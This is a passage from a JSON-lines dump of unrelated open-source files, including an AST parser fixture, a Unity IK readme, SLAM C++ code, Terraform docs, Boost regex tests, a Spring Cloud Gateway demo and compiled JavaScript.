1,\n \"column\": 14\n },\n \"end\": {\n \"line\": 1,\n \"column\": 16\n }\n }\n },\n \"generator\": false,\n \"expression\": false,\n \"range\": [\n 4,\n 16\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 4\n },\n \"end\": {\n \"line\": 1,\n \"column\": 16\n }\n }\n },\n {\n \"type\": \"Identifier\",\n \"name\": \"c\",\n \"range\": [\n 17,\n 18\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 17\n },\n \"end\": {\n \"line\": 1,\n \"column\": 18\n }\n }\n }\n ],\n \"range\": [\n 0,\n 19\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 0\n },\n \"end\": {\n \"line\": 1,\n \"column\": 19\n }\n }\n },\n \"range\": [\n 0,\n 20\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 0\n },\n \"end\": {\n \"line\": 1,\n \"column\": 20\n }\n }\n }\n ],\n \"sourceType\": \"script\",\n \"tokens\": [\n {\n \"type\": \"Identifier\",\n \"value\": \"f\",\n \"range\": [\n 0,\n 1\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 0\n },\n \"end\": {\n \"line\": 1,\n \"column\": 1\n }\n }\n },\n {\n \"type\": \"Punctuator\",\n \"value\": \"(\",\n \"range\": [\n 1,\n 2\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 1\n },\n \"end\": {\n \"line\": 1,\n \"column\": 2\n }\n }\n },\n {\n \"type\": \"Identifier\",\n \"value\": \"a\",\n \"range\": [\n 2,\n 3\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 2\n },\n \"end\": {\n \"line\": 1,\n \"column\": 3\n }\n }\n },\n {\n \"type\": \"Keyword\",\n \"value\": \"function\",\n \"range\": [\n 4,\n 12\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 4\n },\n \"end\": {\n \"line\": 1,\n \"column\": 12\n }\n }\n },\n {\n \"type\": \"Punctuator\",\n \"value\": \"(\",\n \"range\": [\n 12,\n 13\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 12\n },\n \"end\": {\n \"line\": 1,\n \"column\": 13\n }\n }\n },\n {\n \"type\": \"Punctuator\",\n \"value\": \")\",\n \"range\": [\n 13,\n 14\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 13\n },\n \"end\": {\n \"line\": 1,\n \"column\": 14\n }\n }\n },\n {\n \"type\": \"Punctuator\",\n \"value\": \"{\",\n \"range\": [\n 14,\n 15\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 14\n },\n \"end\": {\n \"line\": 1,\n \"column\": 15\n }\n }\n },\n {\n \"type\": \"Punctuator\",\n \"value\": \"}\",\n \"range\": [\n 15,\n 16\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 15\n },\n \"end\": {\n \"line\": 1,\n \"column\": 16\n }\n }\n },\n {\n \"type\": \"Identifier\",\n \"value\": \"c\",\n \"range\": [\n 17,\n 18\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 17\n },\n \"end\": {\n \"line\": 1,\n \"column\": 18\n }\n }\n },\n {\n \"type\": \"Punctuator\",\n \"value\": \")\",\n \"range\": [\n 18,\n 19\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 18\n },\n \"end\": {\n \"line\": 1,\n \"column\": 19\n }\n }\n },\n {\n \"type\": \"Punctuator\",\n \"value\": \";\",\n \"range\": [\n 19,\n 20\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 19\n },\n \"end\": {\n \"line\": 1,\n \"column\": 20\n }\n }\n }\n ],\n \"errors\": [\n {\n \"index\": 4,\n \"lineNumber\": 1,\n \"column\": 5,\n \"message\": \"Error: Line 1: Unexpected token function\"\n },\n {\n \"index\": 17,\n \"lineNumber\": 1,\n \"column\": 18,\n \"message\": \"Error: Line 1: Unexpected token c\"\n }\n ],\n \"range\": [\n 0,\n 20\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 0\n },\n \"end\": {\n \"line\": 1,\n \"column\": 20\n }\n }\n}\n"} -{"text": "\nSAFullBodyIK (Reconstucts & TestBuilds)\n\n\u25a0 \u7528\u9014\n\n- Unity\u306e\u4eba\u4f53\u30e2\u30c7\u30eb\u306b\u624b\u8efd\u306b\u30d5\u30eb\u30dc\u30c7\u30a3IK\u3092\u5c0e\u5165\u3059\u308b\u305f\u3081\u306e\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u3067\u3059\u3002\n- \u518d\u69cb\u7bc9\u5f8c\u306e\u30c6\u30b9\u30c8\u30d3\u30eb\u30c9\u3067\u3059\u3002\u591a\u304f\u306e\u6a5f\u80fd\u304c\u307e\u3060\u30aa\u30df\u30c3\u30c8\u3001\u6b63\u3057\u304f\u6a5f\u80fd\u3057\u306a\u3044\u72b6\u614b\u3067\u3059\u3002\n\n\u25a0 \u5c0e\u5165\u65b9\u6cd5\n\n- \u4efb\u610f\u306e GameObject \u306b SA.FullBodyIK \u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u3092\u8ffd\u52a0\u3057\u307e\u3059\u3002\n- Humanoid \u306e\u5834\u5408\u306f\u3001\u81ea\u52d5\u7684\u306b\u30dc\u30fc\u30f3\u8a2d\u5b9a\u3055\u308c\u307e\u3059\u3002\n- Generic \u306e\u5834\u5408\u306f\u3001\u624b\u52d5\u3067\u30dc\u30fc\u30f3\u8a2d\u5b9a\u3092\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\n\n\u25a0 \u514d\u8cac\u4e8b\u9805\n\n\u4f5c\u8005\u307e\u305f\u306f\u8457\u4f5c\u6a29\u8005\u306f\u3001\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306b\u95a2\u3057\u3066\u306a\u3093\u3089\u8cac\u4efb\u3092\u8ca0\u3044\u307e\u305b\u3093\u3002\n\n\u3042\u306a\u305f\u306f\u3001\u3053\u306e\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u3092\u7121\u511f\u3067\u6271\u3046\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\n\u305f\u3060\u3057\u3001\u8457\u4f5c\u6a29\u8868\u793a\u304a\u3088\u3073\u672c\u8a31\u8afe\u8868\u793a\u3092\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306e\u3059\u3079\u3066\u306e\u8907\u88fd\u307e\u305f\u306f\u91cd\u8981\u306a\u90e8\u5206\u306b\u8a18\u8f09\u3057\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002\n\n\u25a0 \u5c65\u6b74\n\n2016/01/23 \u4e0b\u8a18\u53c2\u7167\n- \u30a8\u30d5\u30a7\u30af\u30bf\u30fc\u306e\u521d\u671f\u89d2\u5ea6\u304c\u6b63\u9762\u4ee5\u5916\u3067\u6b63\u3057\u304f\u306a\u304b\u3063\u305f\u306e\u3092\u4fee\u6b63\n- \u3072\u3056\u30a8\u30d5\u30a7\u30af\u30bf\u30fc\u304c\u6b63\u9762\u4ee5\u5916\u3067\u6b63\u3057\u304f\u52d5\u4f5c\u3057\u3066\u3044\u306a\u304b\u3063\u305f\u306e\u3092\u4fee\u6b63\n- Pelvis \u30a8\u30d5\u30a7\u30af\u30bf\u30fc\u5bfe\u5fdc\n- Pelvis \u30a8\u30d5\u30a7\u30af\u30bf\u30fc\u306e\u521d\u671f\u4f4d\u7f6e\u3092\u4e21\u8db3\u306e\u9593\u306b\u5f37\u5236\u88dc\u6b63\n- \u5c11\u3057\u6700\u9069\u5316\n2016/01/21 \u624b\u9996\u306e\u307f\u6369\u308a\u66ab\u5b9a\u5bfe\u5fdc\n2016/01/20 \u3072\u3056\u89d2\u5ea6\u8a2d\u5b9a\u5bfe\u5fdc\n2016/01/19 \u518d\u69cb\u7bc9\uff06\u30c6\u30b9\u30c8\u30d3\u30eb\u30c9\u516c\u958b\n"} -{"text": "// ***********************************************************\n// This example support/index.js is processed and\n// loaded automatically before your test files.\n//\n// This is a great place to put global configuration and\n// behavior that modifies Cypress.\n//\n// You can change the location of this file or turn off\n// automatically serving support files with the\n// 'supportFile' configuration option.\n//\n// You can read more here:\n// https://on.cypress.io/configuration\n// ***********************************************************\n\n// Import commands.js using ES2015 syntax:\nimport \"./commands\";\n\n// Alternatively you can use CommonJS syntax:\n// require('./commands')\n"} -{"text": "#include \"openvslam/data/frame.h\"\n#include \"openvslam/data/keyframe.h\"\n#include \"openvslam/data/frame_statistics.h\"\n\nnamespace openvslam {\nnamespace data {\n\nvoid frame_statistics::update_frame_statistics(const data::frame& frm, const bool is_lost) {\n if (frm.cam_pose_cw_is_valid_) {\n const Mat44_t rel_cam_pose_from_ref_keyfrm = frm.cam_pose_cw_ * frm.ref_keyfrm_->get_cam_pose_inv();\n\n frm_ids_of_ref_keyfrms_[frm.ref_keyfrm_].push_back(frm.id_);\n\n ++num_valid_frms_;\n assert(!ref_keyfrms_.count(frm.id_));\n ref_keyfrms_[frm.id_] = frm.ref_keyfrm_;\n assert(!rel_cam_poses_from_ref_keyfrms_.count(frm.id_));\n rel_cam_poses_from_ref_keyfrms_[frm.id_] = rel_cam_pose_from_ref_keyfrm;\n assert(!timestamps_.count(frm.id_));\n timestamps_[frm.id_] = frm.timestamp_;\n }\n\n assert(!is_lost_frms_.count(frm.id_));\n is_lost_frms_[frm.id_] = is_lost;\n}\n\nvoid frame_statistics::replace_reference_keyframe(data::keyframe* old_keyfrm, data::keyframe* new_keyfrm) {\n // Delete keyframes and update associations.\n\n assert(num_valid_frms_ == rel_cam_poses_from_ref_keyfrms_.size());\n assert(num_valid_frms_ == ref_keyfrms_.size());\n assert(num_valid_frms_ == timestamps_.size());\n assert(num_valid_frms_ <= is_lost_frms_.size());\n\n // Finish if no need to replace keyframes\n if (!frm_ids_of_ref_keyfrms_.count(old_keyfrm)) {\n return;\n }\n\n // Search frames referencing old_keyfrm which is to be deleted.\n const auto frm_ids = frm_ids_of_ref_keyfrms_.at(old_keyfrm);\n\n for (const auto frm_id : frm_ids) {\n assert(*ref_keyfrms_.at(frm_id) == *old_keyfrm);\n\n // Get pose and relative pose of the old keyframe\n const Mat44_t old_ref_cam_pose_cw = old_keyfrm->get_cam_pose();\n const Mat44_t old_rel_cam_pose_cr = rel_cam_poses_from_ref_keyfrms_.at(frm_id);\n\n // Replace pointer of the keyframe to new_keyfrm\n ref_keyfrms_.at(frm_id) = new_keyfrm;\n\n // Update relative pose\n const Mat44_t new_ref_cam_pose_cw = new_keyfrm->get_cam_pose();\n const Mat44_t new_rel_cam_pose_cr = old_rel_cam_pose_cr * old_ref_cam_pose_cw * new_ref_cam_pose_cw.inverse();\n rel_cam_poses_from_ref_keyfrms_.at(frm_id) = new_rel_cam_pose_cr;\n }\n\n // Update frames referencing new_keyfrm\n auto& new_frm_ids = frm_ids_of_ref_keyfrms_[new_keyfrm];\n new_frm_ids.insert(new_frm_ids.end(), frm_ids.begin(), frm_ids.end());\n // Remove frames referencing old_keyfrm\n frm_ids_of_ref_keyfrms_.erase(old_keyfrm);\n}\n\nstd::unordered_map> frame_statistics::get_frame_id_of_reference_keyframes() const {\n return frm_ids_of_ref_keyfrms_;\n}\n\nunsigned int frame_statistics::get_num_valid_frames() const {\n return num_valid_frms_;\n}\n\nstd::map frame_statistics::get_reference_keyframes() const {\n return {ref_keyfrms_.begin(), ref_keyfrms_.end()};\n}\n\neigen_alloc_map frame_statistics::get_relative_cam_poses() const {\n return {rel_cam_poses_from_ref_keyfrms_.begin(), rel_cam_poses_from_ref_keyfrms_.end()};\n}\n\nstd::map frame_statistics::get_timestamps() const {\n return {timestamps_.begin(), timestamps_.end()};\n}\n\nstd::map frame_statistics::get_lost_frames() const {\n return {is_lost_frms_.begin(), is_lost_frms_.end()};\n}\n\nvoid frame_statistics::clear() {\n num_valid_frms_ = 0;\n frm_ids_of_ref_keyfrms_.clear();\n ref_keyfrms_.clear();\n rel_cam_poses_from_ref_keyfrms_.clear();\n timestamps_.clear();\n is_lost_frms_.clear();\n}\n\n} // namespace data\n} // namespace openvslam\n"} -{"text": "export default {\n\tprops: {\n\t\tfoo: true,\n\t\tbar: false\n\t},\n\n\tsnapshot(target) {\n\t\tconst p = target.querySelector('p');\n\n\t\treturn {\n\t\t\tp\n\t\t};\n\t},\n\n\ttest(assert, target, snapshot, component) {\n\t\tconst p = target.querySelector('p');\n\n\t\tassert.equal(p, snapshot.p);\n\n\t\tcomponent.foo = false;\n\t\tcomponent.bar = true;\n\t\tassert.htmlEqual(target.innerHTML, `

    bar!

    `);\n\t}\n};"} -{"text": "---\nsubcategory: \"Data Factory\"\nlayout: \"azurerm\"\npage_title: \"Azure Resource Manager: azurerm_data_factory_linked_service_key_vault\"\ndescription: |-\n Manages a Linked Service (connection) between Key Vault and Azure Data Factory.\n---\n\n# azurerm_data_factory_linked_service_key_vault\n\nManages a Linked Service (connection) between Key Vault and Azure Data Factory.\n\n## Example Usage\n\n```hcl\ndata \"azurerm_client_config\" \"current\" {\n}\n\nresource \"azurerm_resource_group\" \"example\" {\n name = \"example-resources\"\n location = \"eastus\"\n}\n\nresource \"azurerm_key_vault\" \"example\" {\n name = \"example\"\n location = azurerm_resource_group.example.location\n resource_group_name = azurerm_resource_group.example.name\n tenant_id = data.azurerm_client_config.current.tenant_id\n sku_name = \"standard\"\n}\n\nresource \"azurerm_data_factory\" \"example\" {\n name = \"example\"\n location = azurerm_resource_group.example.location\n resource_group_name = azurerm_resource_group.example.name\n}\n\nresource \"azurerm_data_factory_linked_service_key_vault\" \"example\" {\n name = \"example\"\n resource_group_name = azurerm_resource_group.example.name\n data_factory_name = azurerm_data_factory.example.name\n key_vault_id = azurerm_key_vault.example.id\n}\n```\n\n## Argument Reference\n\nThe following arguments are supported:\n\n* `name` - (Required) Specifies the name of the Data Factory Linked Service Key Vault. Changing this forces a new resource to be created. Must be globally unique. See the [Microsoft documentation](https://docs.microsoft.com/en-us/azure/data-factory/naming-rules) for all restrictions.\n\n* `resource_group_name` - (Required) The name of the resource group in which to create the Data Factory Linked Service Key Vault. Changing this forces a new resource\n\n* `data_factory_name` - (Required) The Data Factory name in which to associate the Linked Service with. Changing this forces a new resource.\n\n* `key_vault_id` - (Required) The ID the Azure Key Vault resource.\n\n* `description` - (Optional) The description for the Data Factory Linked Service Key Vault.\n\n* `integration_runtime_name` - (Optional) The integration runtime reference to associate with the Data Factory Linked Service Key Vault.\n\n* `annotations` - (Optional) List of tags that can be used for describing the Data Factory Linked Service Key Vault.\n\n* `parameters` - (Optional) A map of parameters to associate with the Data Factory Linked Service Key Vault.\n\n* `additional_properties` - (Optional) A map of additional properties to associate with the Data Factory Linked Service Key Vault.\n\n## Attributes Reference\n\nThe following attributes are exported:\n\n* `id` - The ID of the Data Factory Key Vault Linked Service.\n\n## Timeouts\n\nThe `timeouts` block allows you to specify [timeouts](https://www.terraform.io/docs/configuration/resources.html#timeouts) for certain actions:\n\n* `create` - (Defaults to 30 minutes) Used when creating the Data Factory Key Vault Linked Service.\n* `update` - (Defaults to 30 minutes) Used when updating the Data Factory Key Vault Linked Service.\n* `read` - (Defaults to 5 minutes) Used when retrieving the Data Factory Key Vault Linked Service.\n* `delete` - (Defaults to 30 minutes) Used when deleting the Data Factory Key Vault Linked Service.\n\n## Import\n\nData Factory Key Vault Linked Service's can be imported using the `resource id`, e.g.\n\n```shell\nterraform import azurerm_data_factory_linked_service_key_vault.example /subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/example/providers/Microsoft.DataFactory/factories/example/linkedservices/example\n```\n"} -{"text": "///////////////////////////////////////////////////////////////////////////////\n// misc2.hpp\n//\n// Copyright 2008 Eric Niebler. Distributed under the Boost\n// Software License, Version 1.0. (See accompanying file\n// LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n\n#include \n#include \n#include \n#include \n#include \n\nnamespace xpr = boost::xpressive;\nusing namespace xpr;\n\n///////////////////////////////////////////////////////////////////////////////\n//\nvoid test_complement()\n{\n sregex rx1 = ~_n >> ~(set='a') >> ~(set='a','b') >> ~set['a'] >> ~_ln\n >> ~before('a') >> ~after('a') >> ~alpha >> ~range('a','b') >> ~_b >> ~as_xpr('a');\n\n#ifndef BOOST_XPRESSIVE_NO_WREGEX\n wsregex rx2 = ~_n >> ~(set=L'a') >> ~(set=L'a',L'b') >> ~set[L'a'] >> ~_ln\n >> ~before(L'a') >> ~after(L'a') >> ~alpha >> ~range(L'a',L'b') >> ~_b >> ~as_xpr(L'a');\n#endif\n}\n\n///////////////////////////////////////////////////////////////////////////////\n//\nvoid test_static_actions_in_dynamic_keep()\n{\n std::string result;\n std::string str(\"foo\");\n\n sregex_compiler compiler;\n compiler[\"rx0\"] = (s1=\"foo\")[ xpr::ref(result) = s1 ];\n sregex rx = compiler.compile(\"(?>(?$rx0))\");\n\n bool ok = regex_match(str, rx);\n BOOST_CHECK(ok);\n BOOST_CHECK_EQUAL(result, \"foo\");\n}\n\n///////////////////////////////////////////////////////////////////////////////\n//\nvoid test_static_actions_in_static_keep()\n{\n std::string result;\n std::string str(\"foo\");\n\n sregex rx0 = (s1=\"foo\")[ xpr::ref(result) = s1 ];\n sregex rx = keep(rx0);\n\n bool ok = regex_match(str, rx);\n BOOST_CHECK(ok);\n BOOST_CHECK_EQUAL(result, \"foo\");\n}\n\n///////////////////////////////////////////////////////////////////////////////\n//\nvoid test_replace_with_lambda()\n{\n std::map replacements;\n replacements[\"X\"] = \"this\";\n replacements[\"Y\"] = \"that\";\n\n std::string input(\"\\\"$(X)\\\" has the value \\\"$(Y)\\\"\"), output;\n std::string expected(\"\\\"this\\\" has the value \\\"that\\\"\");\n sregex rx = \"$(\" >> (s1= +~as_xpr(')')) >> ')';\n\n output = regex_replace(input, rx, xpr::ref(replacements)[s1]);\n BOOST_CHECK_EQUAL(output, expected);\n}\n\nusing namespace boost::unit_test;\n///////////////////////////////////////////////////////////////////////////////\n// init_unit_test_suite\n//\ntest_suite* init_unit_test_suite( int argc, char* argv[] )\n{\n test_suite *test = BOOST_TEST_SUITE(\"miscelaneous tests\");\n\n test->add(BOOST_TEST_CASE(&test_complement));\n test->add(BOOST_TEST_CASE(&test_static_actions_in_dynamic_keep));\n test->add(BOOST_TEST_CASE(&test_static_actions_in_static_keep));\n test->add(BOOST_TEST_CASE(&test_replace_with_lambda));\n\n return test;\n}\n"} -{"text": "//*********************************************************\n//\n// Copyright (c) Microsoft. All rights reserved.\n// THIS CODE IS PROVIDED *AS IS* WITHOUT WARRANTY OF\n// ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING ANY\n// IMPLIED WARRANTIES OF FITNESS FOR A PARTICULAR\n// PURPOSE, MERCHANTABILITY, OR NON-INFRINGEMENT.\n//\n//*********************************************************\n\n#pragma once\n\n#include \n\nnamespace SDKSample\n{\n namespace Common\n {\n /// \n /// Typical implementation of Page that provides several important conveniences:\n /// \n /// \n /// Application view state to visual state mapping\n /// \n /// \n /// GoBack, GoForward, and GoHome event handlers\n /// \n /// \n /// Mouse and keyboard shortcuts for navigation\n /// \n /// \n /// State management for navigation and process lifetime management\n /// \n /// \n /// A default view model\n /// \n /// \n /// \n [Windows::Foundation::Metadata::WebHostHidden]\n public ref class LayoutAwarePage : Windows::UI::Xaml::Controls::Page\n {\n internal:\n LayoutAwarePage();\n\n public:\n void StartLayoutUpdates(Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e);\n void StopLayoutUpdates(Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e);\n void InvalidateVisualState();\n static property Windows::UI::Xaml::DependencyProperty^ DefaultViewModelProperty\n {\n Windows::UI::Xaml::DependencyProperty^ get();\n };\n property Windows::Foundation::Collections::IObservableMap^ DefaultViewModel\n {\n Windows::Foundation::Collections::IObservableMap^ get();\n void set(Windows::Foundation::Collections::IObservableMap^ value);\n }\n\n protected:\n virtual void GoHome(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e);\n virtual void GoBack(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e);\n virtual void GoForward(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e);\n virtual Platform::String^ DetermineVisualState(Windows::UI::ViewManagement::ApplicationViewState viewState);\n virtual void OnNavigatedTo(Windows::UI::Xaml::Navigation::NavigationEventArgs^ e) override;\n virtual void OnNavigatedFrom(Windows::UI::Xaml::Navigation::NavigationEventArgs^ e) override;\n virtual void LoadState(Platform::Object^ navigationParameter,\n Windows::Foundation::Collections::IMap^ pageState);\n virtual void SaveState(Windows::Foundation::Collections::IMap^ pageState);\n\n private:\n Platform::String^ _pageKey;\n bool _navigationShortcutsRegistered;\n Platform::Collections::Map^ _defaultViewModel;\n Windows::Foundation::EventRegistrationToken _windowSizeEventToken,\n _acceleratorKeyEventToken, _pointerPressedEventToken;\n Platform::Collections::Vector^ _layoutAwareControls;\n void WindowSizeChanged(Platform::Object^ sender, Windows::UI::Core::WindowSizeChangedEventArgs^ e);\n void OnLoaded(Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e);\n void OnUnloaded(Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e);\n\n void CoreDispatcher_AcceleratorKeyActivated(Windows::UI::Core::CoreDispatcher^ sender,\n Windows::UI::Core::AcceleratorKeyEventArgs^ args);\n void CoreWindow_PointerPressed(Windows::UI::Core::CoreWindow^ sender,\n Windows::UI::Core::PointerEventArgs^ args);\n LayoutAwarePage^ _this; // Strong reference to self, cleaned up in OnUnload\n };\n }\n}\n"} -{"text": "package com.example.reservationclient;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\nimport lombok.extern.log4j.Log4j2;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.cloud.client.ServiceInstance;\nimport org.springframework.cloud.client.discovery.DiscoveryClient;\nimport org.springframework.cloud.gateway.filter.ratelimit.RedisRateLimiter;\nimport org.springframework.cloud.gateway.route.RouteLocator;\nimport org.springframework.cloud.gateway.route.builder.RouteLocatorBuilder;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.data.annotation.Id;\nimport org.springframework.http.HttpHeaders;\nimport org.springframework.security.config.web.server.ServerHttpSecurity;\nimport org.springframework.security.core.userdetails.MapReactiveUserDetailsService;\nimport org.springframework.security.core.userdetails.User;\nimport org.springframework.security.core.userdetails.UserDetails;\nimport org.springframework.security.web.server.SecurityWebFilterChain;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.reactive.function.client.WebClient;\nimport org.springframework.web.reactive.function.server.RouterFunction;\nimport org.springframework.web.reactive.function.server.ServerResponse;\nimport reactor.core.publisher.Flux;\n\nimport java.util.List;\nimport java.util.stream.Collectors;\n\nimport static org.springframework.web.reactive.function.server.RequestPredicates.GET;\nimport static org.springframework.web.reactive.function.server.RouterFunctions.route;\n\n@SpringBootApplication\npublic class ReservationClientApplication {\n\n\t@Bean\n\tMapReactiveUserDetailsService authentication() {\n\n\t\tUserDetails jlong = User.withDefaultPasswordEncoder()\n\t\t\t.password(\"pw\").username(\"jlong\").roles(\"USER\").build();\n\n\t\tUserDetails rwinch = User.withDefaultPasswordEncoder()\n\t\t\t.password(\"pw\").username(\"rwinch\").roles(\"USER\", \"ADMIN\").build();\n\n\t\treturn new MapReactiveUserDetailsService(jlong, rwinch);\n\t}\n\n\t@Bean\n\tSecurityWebFilterChain authorization(ServerHttpSecurity http) {\n\t\thttp.csrf().disable();\n\t\thttp.httpBasic();\n\t\thttp.authorizeExchange()\n\t\t\t.pathMatchers(\"/proxy\").authenticated()\n\t\t\t.anyExchange().permitAll();\n\t\treturn http.build();\n\t}\n\n\t@Bean\n\tRouteLocator gateway(RouteLocatorBuilder rlb) {\n\t\treturn rlb\n\t\t\t.routes()\n\t\t\t.route(s -> s.host(\"*.foo.tw\").and().path(\"/proxy\")\n\t\t\t\t.filters(f -> f\n\t\t\t\t\t.setPath(\"/reservations\")\n\t\t\t\t\t.addResponseHeader(HttpHeaders.ACCESS_CONTROL_ALLOW_ORIGIN, \"*\")\n\t\t\t\t\t.requestRateLimiter(rl -> rl.setRateLimiter(this.redisRateLimiter()))\n\t\t\t\t)\n\t\t\t\t.uri(\"lb://reservation-service/\")\n\t\t\t)\n\t\t\t.build();\n\t}\n\n\t@Bean\n\t\t//@LoadBalanced\n\tWebClient webClient(WebClient.Builder builder) {\n\t\treturn builder.build();\n\t}\n\n\t@Bean\n\tRedisRateLimiter redisRateLimiter() {\n\t\treturn new RedisRateLimiter(5, 7);\n\t}\n\n\t@Bean\n\tRouterFunction routes(ReservationClient client) {\n\t\treturn route(GET(\"/reservations/names\"), request -> {\n\n\t\t\tFlux map = client\n\t\t\t\t.getAllReservations()\n\t\t\t\t.map(Reservation::getReservationName);\n\n\t\t\treturn ServerResponse.ok().body(map, String.class);\n\t\t});\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(ReservationClientApplication.class, args);\n\t}\n}\n\n\n@Data\n@AllArgsConstructor\n@NoArgsConstructor\nclass Reservation {\n\n\t@Id\n\tprivate String id;\n\tprivate String reservationName;\n}\n\n@Component\n@Log4j2\nclass ReservationClient {\n\n\tprivate final WebClient webClient;\n\tprivate final DiscoveryClient client;\n\n\tReservationClient(WebClient webClient, DiscoveryClient client) {\n\t\tthis.webClient = webClient;\n\t\tthis.client = client;\n\t}\n\n\tFlux getAllReservations() {\n\t\tList instances = this.client.getInstances(\"reservation-service\");\n\t\tint max = 2;\n\t\tint min = Math.min(max, instances.size());\n\t\tList> collect = instances\n\t\t\t.subList(0, min)\n\t\t\t.stream()\n\t\t\t.map(this::call)\n\t\t\t.collect(Collectors.toList());\n\t\treturn Flux.first(collect);\n\t}\n\n\tprivate String uri(ServiceInstance si) {\n\t\treturn \"http://\" + si.getHost() + ':' + si.getPort() + \"/reservations\";\n\t}\n\n\tprivate Flux call(ServiceInstance si) {\n\t\treturn this.webClient\n\t\t\t.get()\n\t\t\t.uri(uri(si))\n\t\t\t.retrieve()\n\t\t\t.bodyToFlux(Reservation.class)\n\t\t\t.doOnSubscribe((s) -> log.info(\"gonna send a request to \" + si.getHost() + ':' + si.getPort()))\n\t\t\t.doOnComplete(() -> log.info(\"finished processing request to \" + si.getHost() + ':' + si.getPort()));\n\t}\n}"} -{"text": "--\n-- Copyright Camunda Services GmbH and/or licensed to Camunda Services GmbH\n-- under one or more contributor license agreements. See the NOTICE file\n-- distributed with this work for additional information regarding copyright\n-- ownership. Camunda licenses this file to you under the Apache License,\n-- Version 2.0; you may not use this file except in compliance with the License.\n-- You may obtain a copy of the License at\n--\n-- http://www.apache.org/licenses/LICENSE-2.0\n--\n-- Unless required by applicable law or agreed to in writing, software\n-- distributed under the License is distributed on an \"AS IS\" BASIS,\n-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n-- See the License for the specific language governing permissions and\n-- limitations under the License.\n--\n\n-- https://app.camunda.com/jira/browse/CAM-10275\ncreate index ACT_IDX_HI_IDENT_LNK_TIMESTAMP on ACT_HI_IDENTITYLINK(TIMESTAMP_);"} -{"text": "'use strict';\n\nexports.__esModule = true;\n\nvar _container = require('./container');\n\nvar _container2 = _interopRequireDefault(_container);\n\nvar _types = require('./types');\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nvar Pseudo = function (_Container) {\n _inherits(Pseudo, _Container);\n\n function Pseudo(opts) {\n _classCallCheck(this, Pseudo);\n\n var _this = _possibleConstructorReturn(this, _Container.call(this, opts));\n\n _this.type = _types.PSEUDO;\n return _this;\n }\n\n Pseudo.prototype.toString = function toString() {\n var params = this.length ? '(' + this.map(String).join(',') + ')' : '';\n return [this.spaces.before, String(this.value), params, this.spaces.after].join('');\n };\n\n return Pseudo;\n}(_container2.default);\n\nexports.default = Pseudo;\nmodule.exports = exports['default'];"} -{"text": "//===---- MipsCCState.h - CCState with Mips specific extensions -----------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef MIPSCCSTATE_H\n#define MIPSCCSTATE_H\n\n#include \"MipsISelLowering.h\"\n#include \"llvm/ADT/SmallVector.h\"\n#include \"llvm/CodeGen/CallingConvLower.h\"\n\nnamespace llvm {\nclass SDNode;\nclass MipsSubtarget;\n\nclass MipsCCState : public CCState {\npublic:\n enum SpecialCallingConvType { Mips16RetHelperConv, NoSpecialCallingConv };\n\n /// Determine the SpecialCallingConvType for the given callee\n static SpecialCallingConvType\n getSpecialCallingConvForCallee(const SDNode *Callee,\n const MipsSubtarget 